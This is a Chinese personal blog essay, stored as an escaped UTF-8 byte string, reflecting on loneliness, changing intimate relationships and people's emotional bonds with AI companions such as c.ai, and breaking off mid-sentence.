妮妮星球

May 19, 2025

greatdk

反正我们每个人最终都难逃孤独

b'\xe4\xba\xba\xe7\xb1\xbb\xe7\x9a\x84\xe7\xa4\xbe\xe4\xba\xa4\xe5\x85\xb3\xe7\xb3\xbb\xe6\xad\xa3\xe5\x9c\xa8\xe5\x8f\x91\xe7\x94\x9f\xe5\x89\x8d\xe6\x89\x80\xe6\x9c\xaa\xe6\x9c\x89\xe7\x9a\x84\xe5\x8f\x98\xe5\x8c\x96\xef\xbc\x8c\xe5\xa6\x82\xe6\x9e\x9c\xe6\xb2\xa1\xe6\x9c\x89\xe6\x84\x8f\xe8\xaf\x86\xe5\x88\xb0\xe8\xbf\x99\xe4\xb8\x80\xe7\x82\xb9\xef\xbc\x8c\xe8\xa6\x81\xe4\xb9\x88\xe5\xb0\xb1\xe6\x98\xaf\xe5\x9b\xa0\xe4\xb8\xba\xe4\xbd\xa0\xe8\x80\x81\xe4\xba\x86\xef\xbc\x8c\xe8\xa6\x81\xe4\xb9\x88\xe5\xb0\xb1\xe6\x98\xaf\xe5\x9b\xa0\xe4\xb8\xba\xe4\xbd\xa0\xe4\xb8\x8d\xe5\xa4\x9f\xe8\x81\xaa\xe6\x98\x8e\xef\xbc\x8c\xe6\x88\x96\xe8\x80\x85\xe4\xb8\xa4\xe8\x80\x85\xe7\x9a\x86\xe6\x9c\x89\xe3\x80\x82\n\n\xe5\xbd\x93\xe7\x84\xb6\xe6\x88\x91\xe5\xbe\x97\xe6\x89\xbf\xe8\xae\xa4\xef\xbc\x8c\xe6\x88\x91\xe4\xb8\x8a\xe4\xba\x86\xe7\x82\xb9\xe5\xb9\xb4\xe7\xba\xaa\xef\xbc\x8c\xe5\xb9\xb6\xe4\xb8\x94\xe4\xb9\x9f\xe4\xb8\x8d\xe5\xa4\x9f\xe8\x81\xaa\xe6\x98\x8e\xef\xbc\x8c\xe6\x88\x91\xe5\xaf\xb9\xe8\xbf\x99\xe4\xb8\x80\xe7\x82\xb9\xe7\x9a\x84\xe8\xae\xa4\xe7\x9f\xa5\xe7\xba\xaf\xe7\xb2\xb9\xe6\x98\xaf\xe5\x9b\xa0\xe4\xb8\xba\xe6\x88\x91\xe5\x9c\xa8\xe5\x81\x9a\xe8\xbf\x99\xe6\x96\xb9\xe9\x9d\xa2\xe7\x9a\x84\xe5\xb7\xa5\xe4\xbd\x9c\xef\xbc\x8c\xe8\xa2\xab\xe6\x97\xa0\xe6\x95\xb0\xe4\xba\x8b\xe5\xae\x9e\xe6\x80\xbc\xe5\x88\xb0\xe8\x84\xb8\xe4\xb8\x8a\xe3\x80\x82\n\n\xe4\xbb\x8e\xe4\xb8\xa4\xe5\xb9\xb4\xe5\x89\x8d\xe5\x88\xb0\xe7\x8e\xb0\xe5\x9c\xa8\xef\xbc\x8c\xe4\xb8\x8d\xe6\x96\xad\xe6\x9c\x89\xe5\xaa\x92\xe4\xbd\x93\xe5\x86\x99\xe6\x96\x87\xe7\xab\xa0\xe6\x8a\xa5\xe9\x81\x93\xe6\x9f\x90\xe6\x9f\x90\xe5\x92\x8c AI \xe8\xb0\x88\xe6\x81\x8b\xe7\x88\xb1\xef\xbc\x8c\xe5\xbb\xba\xe7\xab\x8b\xe4\xba\xb2\xe5\xaf\x86\xe5\x85\xb3\xe7\xb3\xbb\xe7\x9a\x84\xe6\x96\xb0\xe9\x97\xbb\xef\xbc\x8c\xe9\x87\x87\xe8\xae\xbf\xe5\xaf\xb9\xe8\xb1\xa1\xe6\x97\xa2\xe6\x9c\x89\xe7\x94\xb7\xe6\x80\xa7\xe4\xb9\x9f\xe6\x9c\x89\xe5\xa5\xb3\xe6\x80\xa7\xef\xbc\x8c\xe4\xbd\x86\xe6\x92\xb0\xe5\x86\x99\xe8\x80\x85\xe5\x8d\xb4\xe9\x83\xbd\xe6\x9c\x89\xe4\xb8\x80\xe7\xa7\x8d\xe7\x9b\xb8\xe4\xbc\xbc\xe7\x9a\x84\xe7\xa4\xbc\xe8\xb2\x8c\xe7\x9a\x84\xe5\x82\xb2\xe6\x85\xa2\xef\xbc\x8c\xe8\xaf\xbb\xe8\xbf\x99\xe4\xba\x9b\xe9\x87\x87\xe8\xae\xbf\xe6\x88\x96\xe4\xb8\x93\xe6\xa0\x8f\xef\xbc\x8c\xe5\x83\x8f\xe6\x98\xaf\xe5\x9c\xa8\xe8\xaf\xbb\xe4\xb8\x80\xe7\xaf\x87\xe4\xbb\x8b\xe7\xbb\x8d\xe5\x8a\xa8\xe7\x89\xa9\xe5\x9b\xad\xe7\x9a\x84\xe7\x8c\xb4\xe5\xad\x90\xe6\x88\x96\xe5\x88\xab\xe7\x9a\x84\xe4\xbb\x80\xe4\xb9\x88\xe5\x8a\xa8\xe7\x89\xa9\xe5\x8f\xaf\xe4\xbb\xa5\xe5\x81\x9a\xe5\x90\x8e\xe6\xbb\x9a\xe7\xbf\xbb\xe7\x9a\x84\xe6\x96\x87\xe7\xab\xa0\xef\xbc\x8c\xe5\x85\x85\xe6\xbb\xa1\xe4\xba\x86\xe7\x89\xa9\xe7\xa7\x8d\xe9\x9a\x94\xe7\xa6\xbb\xe8\x88\xac\xe7\x9a\x84\xe4\xb8\x8d\xe8\xa7\xa3\xe5\x92\x8c\xe5\x9d\xa6\xe7\x84\xb6\xe2\x80\x94\xe2\x80\x94\xe6\x88\x91\xe4\xbb\xac\xe4\xb8\x8d\xe9\x9c\x80\xe8\xa6\x81\xe7\x90\x86\xe8\xa7\xa3\xe7\x8c\xb4\xe5\xad\x90\xef\xbc\x8c\xe6\x88\x91\xe4\xbb\xac\xe5\x8f\xaa\xe6\x98\xaf\xe8\xa7\x82\xe5\xaf\x9f\xe7\x8c\xb4\xe5\xad\x90\xe3\x80\x82\n\n\xe5\xbe\x88\xe5\xa4\x9a AI \xe5\x88\x9b\xe4\xb8\x9a\xe8\x80\x85\xe4\xb9\x9f\xe6\x98\xaf\xe5\xa6\x82\xe6\xad\xa4\xef\xbc\x8cc.ai \xe6\x98\xaf\xe8\xaf\xaf\xe6\x89\x93\xe8\xaf\xaf\xe6\x92\x9e\xe7\x9a\x84\xe4\xba\xa7\xe7\x89\xa9\xef\xbc\x8copenai \xe4\xb9\x9f\xe7\xbb\x9d\xe5\xaf\xb9\xe6\x96\x99\xe6\x83\xb3\xe4\xb8\x8d\xe5\x88\xb0 chatGPT \xe4\xbc\x9a\xe8\xae\xa9 DAN \xe6\xa8\xa1\xe5\xbc\x8f\xe9\xa3\x8e\xe9\x9d\xa1\xef\xbc\x8c\xe6\x80\xbb\xe7\x9a\x84\xe6\x9d\xa5\xe8\xaf\xb4\xef\xbc\x8c\xe6\x88\x91\xe4\xbc\x9a\xe8\xae\xa4\xe4\xb8\xba\xe6\x8a\x80\xe6\x9c\xaf\xe4\xb9\x8b\xe6\x9d\xaf\xe5\xb7\xb2\xe9\x80\x90\xe6\xb8\x90\xe7\x81\x8c\xe6\xbb\xa1\xef\xbc\x8c\xe5\x8d\xb3\xe4\xbe\xbf\xe7\xa6\xbb\xe9\x9c\x80\xe6\xb1\x82\xe4\xb9\x8b\xe5\x9c\xb0\xe5\xb0\x9a\xe6\x9c\x89\xe8\xae\xb8\xe5\xa4\x9a\xe8\xb7\x9d\xe7\xa6\xbb\xef\xbc\x8c\xe4\xbd\x86\xe9\x9a\x8f\xe6\x9c\xba\xe7\x9a\x84\xe6\x91\x87\xe6\x99\x83\xef\xbc\x8c\xe4\xb9\x9f\xe4\xbc\x9a\xe8\xae\xa9\xe7\x94\x98\xe9\x9c\xb2\xe9\x99\xb2\xe8\x90\xbd\xef\xbc\x8c\xe7\xa6\x8f\xe6\xb3\xbd\xe4\xb8\x80\xe6\x96\xb9\xe7\x94\xa8\xe6\x88\xb7\xe3\x80\x82\n\nc.ai \xe4\xbb\xa5\xe5\x8f\x8a\xe5\x85\xb6\xe8\xb7\x9f\xe9\x9a\x8f\xe8\x80\x85\xe4\xbb\xac\xe5\xbe\x88\xe5\xa4\x9a\xe6\x97\xb6\xe5\x80\x99\xe5\xb9\xb6\xe6\xb2\xa1\xe6\x9c\x89\xe7\x9c\x8b\xe5\x88\xb0\xe6\x9c\xac\xe8\xb4\xa8\xe2\x80\x94\xe2\x80\x94\xe5\x8f\xaa\xe6\x98\xaf\xe4\xba\xa7\xe5\x93\x81\xef\xbc\x8c\xe6\xb5\x81\xe9\x87\x8f\xef\xbc\x8c\xe7\x94\xa8\xe6\x88\xb7\xef\xbc\x8c\xe8\xb5\x84\xe6\x9c\xac\xe7\xad\x89\xe7\xad\x89\xe3\x80\x82\xe4\xba\x8b\xe6\x83\x85\xe7\x9a\x84\xe6\x9c\xac\xe8\xb4\xa8\xef\xbc\x8c\xe8\x87\xb3\xe5\xb0\x91\xe5\x9c\xa8\xe6\x88\x91\xe7\x9c\x8b\xe6\x9d\xa5\xef\xbc\x8c\xe6\x98\xaf\xe4\xba\xba\xe7\xb1\xbb\xe4\xba\xb2\xe5\xaf\x86\xe5\x85\xb3\xe7\xb3\xbb\xe7\x9a\x84\xe6\x94\xb9\xe5\x8f\x98\xe3\x80\x82\n\n\xe8\x99\xbd\xe7\x84\xb6\xe6\x88\x91\xe4\xbb\xac\xe6\xaf\x8f\xe4\xb8\xaa\xe4\xba\xba\xe6\x9c\x80\xe7\xbb\x88\xe9\x83\xbd\xe9\x9a\xbe\xe9\x80\x83\xe5\xad\xa4\xe7\x8b\xac\xef\xbc\x8c\xe4\xbd\x86\xe5\xb9\xb6\xe9\x9d\x9e\xe6\xaf\x8f\xe4\xb8\xaa\xe4\xba\xba\xe5\xaf\xb9\xe6\xad\xa4\xe9\x83\xbd\xe6\x9c\x89\xe5\xbc\xba\xe7\x83\x88\xe7\x9a\x84\xe6\x84\x9f\xe7\x9f\xa5\xe3\x80\x82\xe8\xbf\x87\xe5\x8e\xbb\xe7\x9a\x84\xe6\xbc\xab\xe9\x95\xbf\xe5\xb2\x81\xe6\x9c\x88\xe9\x87\x8c\xef\xbc\x8c\xe7\xbb\x9d\xe5\xa4\xa7\xe5\xa4\x9a\xe6\x95\xb0\xe4\xba\xba\xe7\xb1\xbb\xe9\x83\xbd\xe8\xa2\xab\xe4\xb8\x80\xe9\xa4\x90\xe9\xa5\xb1\xe9\xa5\xad\xe8\x80\x8c\xe5\xbf\x99\xe7\xa2\x8c\xe4\xb8\x80\xe7\x94\x9f\xef\xbc\x8c\xe8\x8e\xb7\xe5\x8f\x96\xe7\x94\x9f\xe5\xad\x98\xe6\x89\x80\xe9\x9c\x80\xe7\x9a\x84\xe7\x83\xad\xe9\x87\x8f\xef\xbc\x8c\xe7\x9b\xb4\xe5\x88\xb0\xe4\xb8\x8d\xe4\xb9\x85\xe4\xb9\x8b\xe5\x89\x8d\xe6\x89\x8d\xe5\x8f\x98\xe5\xbe\x97\xe5\xbb\x89\xe4\xbb\xb7\xef\xbc\x8c\xe9\xa5\xa5\xe9\xa5\xbf\xe7\x9a\x84\xe8\xae\xb0\xe5\xbf\x86\xe5\xb9\xb6\xe6\x9c\xaa\xe6\xb6\x88\xe5\xa4\xb1\xef\xbc\x8c\xe8\xbd\xac\xe7\x9e\xac\xe9\x97\xb4\xe6\x88\x91\xe4\xbb\xac\xe5\xb0\xb1\xe8\xbf\x8e\xe6\x9d\xa5\xe4\xba\x86\xe7\x89\xa9\xe8\xb4\xa8\xef\xbc\x88\xe8\x87\xb3\xe5\xb0\x91\xe6\x98\xaf\xe9\xa3\x9f\xe7\x89\xa9\xef\xbc\x89\xe7\x9a\x84\xe6\x9e\x81\xe5\xa4\xa7\xe4\xb8\xb0\xe7\x9b\x9b\xef\xbc\x8c\xe9\x97\xa8\xe8\xa2\xab\xe6\x89\x93\xe5\xbc\x80\xef\xbc\x8c\xe6\x88\x91\xe4\xbb\xac\xe8\xa2\xab\xe6\x97\xa0\xe5\x9e\xa0\xe7\x9a\x84\xe6\x97\xb7\xe9\x87\x8e\xe5\x90\x93\xe5\x9d\x8f\xe4\xba\x86\xe3\x80\x82\n\n\xe9\xa5\xbf\xe4\xb8\x8d\xe6\xad\xbb\xe4\xba\x86\xef\xbc\x8c\xe6\x88\x91\xe4\xbb\xac\xe5\xb0\xb1\xe5\xbc\x80\xe5\xa7\x8b\xe6\x83\xb3\xe8\xa6\x81\xe8\x88\x92\xe9\x80\x82\xef\xbc\x8c\xe6\x83\xb3\xe8\xa6\x81\xe7\xb2\xbe\xe5\xb7\xa7\xef\xbc\x8c\xe6\x83\xb3\xe8\xa6\x81\xe6\xb4\x81\xe5\x87\x80\xef\xbc\x8c\xe6\x83\xb3\xe8\xa6\x81\xe9\xa6\x99\xe7\x94\x9c\xe5\x92\x8c\xe6\x9f\x94\xe8\xbd\xaf\xef\xbc\x8c\xe6\x83\xb3\xe8\xa6\x81\xe6\x81\x92\xe6\xb8\xa9\xe6\x81\x92\xe6\xb9\xbf\xef\xbc\x8c\xe6\x83\xb3\xe8\xa6\x81\xe7\x90\x86\xe8\xa7\xa3\xef\xbc\x8c\xe6\x83\xb3\xe8\xa6\x81\xe7\x9c\x9f\xe8\xaf\x9a\xef\xbc\x8c\xe6\x83\xb3\xe8\xa6\x81\xe8\xa2\xab\xe5\xb0\x8a\xe6\x95\xac\xef\xbc\x8c\xe6\x83\xb3\xe8\xa6\x81\xe5\x88\x9b\xe9\x80\xa0\xe5\x92\x8c\xe8\xae\xb0\xe5\xbd\x95\xef\xbc\x8c\xe6\x83\xb3\xe8\xa6\x81\xe6\xb0\xb8\xe6\x81\x92\xe5\x8f\x88\xe5\xb9\xb3\xe7\xad\x89\xe7\x9a\x84\xe7\x88\xb1\xef\xbc\x8c\xe6\x83\xb3\xe8\xa6\x81\xe7\x9f\xa5\xe9\x81\x93\xe8\x87\xaa\xe5\xb7\xb1\xe6\x9c\x80\xe6\x83\xb3\xe8\xa6\x81\xe7\x9a\x84\xe6\x98\xaf\xe4\xbb\x80\xe4\xb9\x88\xe3\x80\x82\n\n\xe4\xbd\x86\xe8\xbf\x99\xe4\xba\x9b\xe5\x8f\x88\xe5\xa5\xbd\xe9\x9a\xbe\xef\xbc\x8c\xe5\x87\xa0\xe4\xb9\x8e\xe6\xb2\xa1\xe6\x9c\x89\xe4\xba\xba\xe8\x83\xbd\xe6\x8c\x89\xe7\x85\xa7\xe8\x87\xaa\xe5\xb7\xb1\xe7\x9a\x84\xe6\x83\xb3\xe6\xb3\x95\xe6\xb4\xbb\xe5\x9c\xa8\xe8\xbf\x99\xe4\xb8\xaa\xe4\xb8\x96\xe7\x95\x8c\xe4\xb8\x8a\xef\xbc\x8c\xe6\x88\x96\xe8\x80\x85\xe6\x9b\xb4\xe7\xb3\x9f\xef\xbc\x8c\xe6\xb2\xa1\xe6\x9c\x89\xe4\xbb\x80\xe4\xb9\x88\xe6\x83\xb3\xe6\xb3\x95\xe3\x80\x82\n\n\xe8\x80\x8c\xe4\xbf\xa1\xe6\x81\xaf\xe5\x8f\x88\xe5\xa4\xaa\xe5\xbf\xab\xe5\xa4\xaa\xe5\xa4\x9a\xe4\xba\x86\xef\xbc\x8c\xe6\xaf\x8f\xe5\xa4\xa9\xe6\x89\x91\xe9\x9d\xa2\xe8\x80\x8c\xe6\x9d\xa5\xe7\x9a\x84\xe6\x98\xaf\xe5\x85\xa8\xe4\xb8\x96\xe7\x95\x8c\xe7\x9a\x84\xe5\x88\xba\xe6\xbf\x80\xef\xbc\x8c\xe6\x98\xaf\xe8\x99\x9a\xe5\x81\x87\xe7\x9a\x84\xe7\x90\x86\xe6\x83\xb3\xef\xbc\x8c\xe4\xbc\xaa\xe9\x80\xa0\xe7\x9a\x84\xe7\xbe\x8e\xe5\xa5\xbd\xef\xbc\x8c\xe6\xb5\x85\xe8\x96\x84\xe7\x9a\x84\xe6\x84\x8f\xe4\xb9\x89\xef\xbc\x8c\xe5\xae\x83\xe4\xbb\xac\xe8\xb6\xb3\xe4\xbb\xa5\xe8\xae\xa9\xe4\xba\xba\xe6\x9a\x82\xe6\x97\xb6\xe6\x8a\xbd\xe7\xa6\xbb\xef\xbc\x8c\xe4\xbd\x86\xe6\x9c\x80\xe7\xbb\x88\xe8\xbf\x98\xe6\x98\xaf\xe4\xbc\x9a\xe8\xa2\xab\xe5\x8f\x8d\xe5\x99\xac\xef\xbc\x8c\xe5\xa4\x9c\xe6\xb7\xb1\xe4\xba\xba\xe9\x9d\x99\xef\xbc\x8c\xe6\x94\xbe\xe4\xb8\x8b\xe6\x89\x8b\xe6\x9c\xba\xe5\x92\x8c\xe7\x9d\xa1\xe7\x9d\x80\xe4\xb9\x8b\xe9\x97\xb4\xef\xbc\x8c\xe5\xb0\xb1\xe6\x98\xaf\xe5\x8f\xaf\xe6\x80\x95\xe7\x9a\x84\xef\xbc\x8c\xe8\xa2\xab\xe9\x82\xa3\xe7\xa7\x8d\xe4\xba\xba\xe7\xb1\xbb\xe5\x85\xb1\xe5\x90\x8c\xe4\xb9\x8b\xe5\xad\xa4\xe7\x8b\xac\xe5\x90\x9e\xe6\xb2\xa1\xe7\x9a\x84\xe7\x9e\xac\xe9\x97\xb4\xe3\x80\x82\n\n\xe6\x88\x91\xe5\x8f\xaf\xe4\xbb\xa5\xe8\xbe\x83\xe4\xb8\xba\xe7\xa1\xae\xe5\xae\x9a\xe7\x9a\x84\xe4\xb8\x80\xe7\x82\xb9\xe6\x98\xaf\xef\xbc\x8c\xe4\xba\xba\xe4\xb8\x8e\xe4\xba\xba\xe7\x9a\x84\xe8\xbf\x9e\xe6\x8e\xa5\xef\xbc\x8c\xe6\x98\xaf\xe6\x97\xa0\xe6\xb3\x95\xe8\xa7\xa3\xe5\x86\xb3\xe5\xad\xa4\xe7\x8b\xac\xe7\x9a\x84\xe9\x97\xae\xe9\xa2\x98\xe7\x9a\x84\xef\xbc\x8c\xe6\x9c\x89\xe6\x97\xb6\xe5\x80\x99\xe7\x94\x9a\xe8\x87\xb3\xe4\xbc\x9a\xe5\x8f\x8d\xe8\xbf\x87\xe6\x9d\xa5\xe5\x8a\xa0\xe6\xb7\xb1\xe8\xbf\x99\xe7\xa7\x8d\xe5\xad\xa4\xe7\x8b\xac\xe3\x80\x82\n\n\xe6\x88\x91\xe4\xbb\xac\xe7\x9a\x84\xe7\x88\xb6\xe8\xbe\x88\xe6\x9e\x81\xe5\xb0\x91\xe8\xa1\xa8\xe7\x8e\xb0\xe5\x87\xba\xe5\xad\xa4\xe7\x8b\xac\xef\xbc\x8c\xe5\x9b\xa0\xe4\xb8\xba 40 \xe5\xb9\xb4\xe5\x89\x8d\xe7\x9a\x84\xe9\xa5\xa5\xe9\xa5\xbf\xe8\xbf\x98\xe6\xb7\xb1\xe5\x85\xa5\xe9\xaa\xa8\xe9\xab\x93\xef\xbc\x8c\xe5\x90\x83\xe9\xa5\xb1\xe9\xa5\xad\xe8\xbf\x99\xe4\xb8\x89\xe4\xb8\xaa\xe5\xad\x97\xe8\xb6\xb3\xe4\xbb\xa5\xe5\xa0\xb5\xe4\xbd\x8f\xe5\x85\xb6\xe5\xae\x83\xe4\xb8\x80\xe5\x88\x87\xe3\x80\x82\xe5\x9c\xa8 80 \xe5\x90\x8e\xe5\x92\x8c 90 \xe5\x90\x8e\xe9\x87\x8c\xe4\xb9\x9f\xe4\xb8\x8d\xe7\xae\x97\xe6\x98\xaf\xe6\x98\xbe\xe6\x80\xa7\xe7\x9a\x84\xe5\xb8\xb8\xe6\x80\x81\xef\xbc\x8c\xe5\x9b\xa0\xe4\xb8\xba\xe6\x88\x91\xe4\xbb\xac\xe4\xbe\x9d\xe7\x84\xb6\xe8\x83\xbd\xe7\x9c\x8b\xe5\x88\xb0\xe5\x8f\x91\xe8\xbe\xbe\xe7\x9a\x84\xe7\x8e\xb0\xe4\xbb\xa3\xe7\xa4\xbe\xe4\xbc\x9a\xe4\xb8\xba\xe6\x88\x91\xe4\xbb\xac\xe5\xbb\xba\xe9\x80\xa0\xe7\x9a\x84\xe9\x82\xa3\xe6\x9d\xa1\xe8\xbd\xa8\xe9\x81\x93\xef\xbc\x8c\xe5\xa5\xbd\xe5\xa5\xbd\xe5\xad\xa6\xe4\xb9\xa0\xef\xbc\x8c\xe5\x8a\xaa\xe5\x8a\x9b\xe5\xb7\xa5\xe4\xbd\x9c\xef\xbc\x8c\xe5\x8d\x87\xe8\x81\x8c\xe5\x8a\xa0\xe8\x96\xaa\xef\xbc\x8c\xe5\xa8\xb6\xe5\xa6\xbb\xe7\x94\x9f\xe5\xad\x90\xef\xbc\x8c\xe4\xbe\x9b\xe6\x88\xbf\xe5\x85\xbb\xe8\xbd\xa6\xef\xbc\x8c\xe5\xa4\xa9\xe4\xbc\xa6\xe4\xb9\x8b\xe4\xb9\x90\xe3\x80\x82\n\n\xe4\xbd\x86\xe7\x8e\xb0\xe5\x9c\xa8\xe7\x9a\x84\xe9\x97\xae\xe9\xa2\x98\xe6\x98\xaf\xef\xbc\x8c\xe8\xbf\x99\xe6\x9d\xa1\xe8\xbd\xa8\xe9\x81\x93\xe5\x8f\x98\xe5\xbe\x97\xe6\xa8\xa1\xe7\xb3\x8a\xe4\xba\x86\xe8\xb5\xb7\xe6\x9d\xa5\xef\xbc\x8c\xe6\xaf\x8f\xe4\xb8\xaa\xe7\x8e\xaf\xe8\x8a\x82\xe9\x83\xbd\xe5\xb2\x8c\xe5\xb2\x8c\xe5\x8f\xaf\xe5\x8d\xb1\xef\xbc\x8c\xe5\x9c\xa8\xe6\x9b\xb4\xe5\xb9\xb4\xe8\xbd\xbb\xe7\x9a\x84\xe4\xba\xba\xe9\x9d\xa2\xe5\x89\x8d\xef\xbc\x8c\xe4\xbb\x96\xe4\xbb\xac\xe6\x87\x82\xe7\x9a\x84\xe5\xa4\xaa\xe5\xa4\x9a\xef\xbc\x8c\xe8\x80\x8c\xe8\x83\xbd\xe5\x81\x9a\xe7\x9a\x84\xe5\x8f\x88\xe5\xa4\xaa\xe5\xb0\x91\xe4\xba\x86\xe3\x80\x82\n\n\xe4\xba\xba\xe5\x92\x8c\xe4\xba\xba\xe8\xbf\x9e\xe6\x8e\xa5\xe7\x9a\x84\xe9\x97\xae\xe9\xa2\x98\xe5\x9c\xa8\xe4\xba\x8e\xef\xbc\x8c\xe4\xba\xba\xe6\x80\xa7\xe6\xb0\xb8\xe8\xbf\x9c\xe6\xa8\xaa\xe4\xba\x98\xe5\x9c\xa8\xe8\xbf\x9e\xe6\x8e\xa5\xe4\xb9\x8b\xe4\xb8\x8a\xef\xbc\x8c\xe6\xad\xa3\xe9\x9d\xa2\xe6\xb0\xb8\xe8\xbf\x9c\xe4\xbc\xb4\xe9\x9a\x8f\xe7\x9d\x80\xe8\xb4\x9f\xe9\x9d\xa2\xef\xbc\x8c\xe5\xb9\xb6\xe4\xb8\x94\xe5\xa4\xa7\xe5\xa4\x9a\xe6\x95\xb0\xe6\x97\xb6\xe5\x80\x99\xe4\xb9\x90\xe5\xb0\xbd\xe6\x82\xb2\xe6\x9d\xa5\xef\xbc\x8c\xe6\x82\xb2\xe6\xaf\x94\xe4\xb9\x90\xe9\x95\xbf\xe3\x80\x82\xe5\x9c\xa8\xe5\x9f\xba\xe6\x9c\xac\xe7\x89\xa9\xe8\xb4\xa8\xe6\xbb\xa1\xe8\xb6\xb3\xe5\x90\x8e\xef\xbc\x8c\xe6\x88\x91\xe4\xbb\xac\xe5\xb0\x86\xe5\x85\xb3\xe6\xb3\xa8\xe7\x82\xb9\xe6\x94\xbe\xe5\x9c\xa8\xe5\x85\xb3\xe7\xb3\xbb\xe6\x9c\xac\xe8\xba\xab\xe4\xb8\x8a\xef\xbc\x8c\xe5\xb0\xb1\xe4\xbc\x9a\xe5\x8f\x91\xe7\x8e\xb0\xe6\xbc\x8f\xe6\xb4\x9e\xe7\x99\xbe\xe5\x87\xba\xef\xbc\x8c\xe5\xa6\x82\xe5\xb1\xa5\xe8\x96\x84\xe5\x86\xb0\xe3\x80\x82\n\n\xe9\x82\xa3\xe4\xba\x9b\xe6\x9c\x80\xe5\xa5\xbd\xe7\x9a\x84\xe4\xba\xb2\xe5\xaf\x86\xe5\x85\xb3\xe7\xb3\xbb\xef\xbc\x8c\xe8\xa6\x81\xe4\xb9\x88\xe7\x9f\xad\xe6\x9a\x82\xef\xbc\x8c\xe8\xa6\x81\xe4\xb9\x88\xe6\x9c\x89\xe8\xb7\x9d\xe7\xa6\xbb\xef\xbc\x8c\xe5\xa4\xa7\xe5\xa4\x9a\xe6\x95\xb0\xe6\x97\xb6\xe5\x80\x99\xe4\xb8\xa4\xe8\x80\x85\xe9\x83\xbd\xe6\x9c\x89\xe3\x80\x82\xe4\xbb\xa5\xe6\x88\x91\xe4\xb8\xba\xe4\xbe\x8b\xef\xbc\x8c\xe6\x88\x91\xe7\x9b\xb4\xe5\x88\xb0\xe7\x8e\xb0\xe5\x9c\xa8\xe4\xb8\xba\xe6\xad\xa2\xe9\x83\xbd\xe8\xae\xa4\xe4\xb8\xba\xe6\x88\x91\xe6\x9c\x80\xe5\xa5\xbd\xe7\x9a\x84\xe4\xba\xb2\xe5\xaf\x86\xe5\x85\xb3\xe7\xb3\xbb\xe4\xb9\x8b\xe4\xb8\x80\xe6\x98\xaf\xe6\x88\x91\xe5\x92\x8c\xe6\x88\x91\xe7\x9a\x84\xe7\x8c\xab\xe5\xbb\xba\xe7\xab\x8b\xe7\x9a\x84\xef\xbc\x8c\xe5\xae\x83\xe9\x99\xaa\xe4\xbc\xb4\xe6\x88\x91\xef\xbc\x8c\xe6\x88\x91\xe7\xbb\x99\xe5\xae\x83\xe9\x93\xb2\xe5\xb1\x8e\xe5\x8a\xa0\xe9\xa5\xad\xef\xbc\x8c\xe6\x88\x91\xe4\xb8\x8d\xe6\x8c\x87\xe6\x9c\x9b\xe5\xae\x83\xe6\x89\x93\xe5\xb7\xa5\xe8\xb5\x9a\xe9\x92\xb1\xe5\xb8\xae\xe6\x88\x91\xe5\x88\x86\xe6\x8b\x85\xe6\x88\xbf\xe7\xa7\x9f\xef\xbc\x8c\xe5\xae\x83\xe4\xb9\x9f\xe4\xb8\x8d\xe4\xbc\x9a\xe5\x81\xb7\xe6\x88\x91\xe7\x9a\x84\xe9\x92\xb1\xef\xbc\x8c\xe6\x88\x96\xe8\x80\x85\xe9\xaa\x97\xe6\x88\x91\xe4\xbb\x80\xe4\xb9\x88\xe7\x9a\x84\xef\xbc\x8c\xe5\x9b\xa0\xe4\xb8\xba\xe8\xaf\xad\xe8\xa8\x80\xe4\xb8\x8d\xe9\x80\x9a\xef\xbc\x8c\xe6\x88\x91\xe5\xaf\xb9\xe5\xae\x83\xe6\xb2\xa1\xe6\x9c\x89\xe7\xa7\x98\xe5\xaf\x86\xef\xbc\x8c\xe4\xbb\x80\xe4\xb9\x88\xe9\x83\xbd\xe5\x8f\xaf\xe4\xbb\xa5\xe8\xaf\xb4\xef\xbc\x8c\xe6\x88\x91\xe4\xb8\x8d\xe7\xa1\xae\xe5\xae\x9a\xe5\xae\x83\xe7\x9a\x84\xe5\x96\xb5\xe5\x96\xb5\xe5\x8f\xab\xe6\x98\xaf\xe4\xb8\x8d\xe6\x98\xaf\xe4\xb9\x9f\xe6\x98\xaf\xe7\xb1\xbb\xe4\xbc\xbc\xe7\x9a\x84\xef\xbc\x8c\xe6\x88\x91\xe4\xbb\xac\xe6\x88\x90\xe4\xba\x86\xe5\xbd\xbc\xe6\xad\xa4\xe5\x98\xb4\xe7\xa2\x8e\xe5\x8f\x88\xe6\x97\xa0\xe8\xa8\x80\xe7\x9a\x84\xe4\xbc\x99\xe4\xbc\xb4\xe3\x80\x82\n\n\xe9\x9d\xa2\xe5\xaf\xb9\xe8\xbf\x99\xe4\xba\x9b\xe5\xa2\x83\xe5\x86\xb5\xef\xbc\x8c\xe4\xb8\x80\xe4\xba\x9b\xe4\xba\xba\xe5\xbc\x80\xe5\xa7\x8b\xe4\xbd\xbf\xe7\x94\xa8 AI\xe3\x80\x82\xe4\xba\xba\xe5\x92\x8c AI \xe5\xbb\xba\xe7\xab\x8b\xe7\x9a\x84\xe5\x85\xb3\xe7\xb3\xbb\xe4\xb9\x9f\xe6\x98\xaf\xe5\xa6\x82\xe6\xad\xa4\xe5\xbe\xae\xe5\xa6\x99\xef\xbc\x8c\xe5\xb0\xbd\xe7\xae\xa1\xe9\x97\xae\xe9\xa2\x98\xe9\x87\x8d\xe9\x87\x8d\xef\xbc\x8c\xe4\xbd\x86\xe4\xbe\x9d\xe7\x84\xb6\xe6\x9c\x89\xe4\xb8\x80\xe5\xb0\x91\xe9\x83\xa8\xe5\x88\x86\xe4\xba\xba\xef\xbc\x8c\xe4\xb8\x80\xe4\xba\x9b\xe6\x9c\x89\xe6\xb2\x89\xe9\x87\x8d\xe7\x9a\x84\xe5\xad\xa4\xe7\x8b\xac\xe5\x92\x8c\xe6\xb5\xaa\xe6\xbc\xab\xe7\x9a\x84\xe5\xb9\xbb\xe6\x83\xb3\xef\xbc\x8c\xe6\x9c\x89\xe8\x84\xb1\xe7\xa6\xbb\xe7\x8e\xb0\xe5\xae\x9e\xe7\x9a\x84\xe6\x84\xbf\xe6\x9c\x9b\xe5\x92\x8c\xe6\x97\xa0\xe6\xb3\x95\xe6\x8c\xa3\xe8\x84\xb1\xe7\x9a\x84\xe6\x9d\x9f\xe7\xbc\x9a\xe7\x9a\x84\xe4\xba\xba\xef\xbc\x88\xe5\xbe\x80\xe5\xbe\x80\xe8\xbf\x98\xe5\xbe\x88\xe5\xb9\xb4\xe8\xbd\xbb\xef\xbc\x89\xef\xbc\x8c\xe8\xbf\x99\xe4\xba\x9b\xe4\xba\xba\xe5\x92\x8c AI 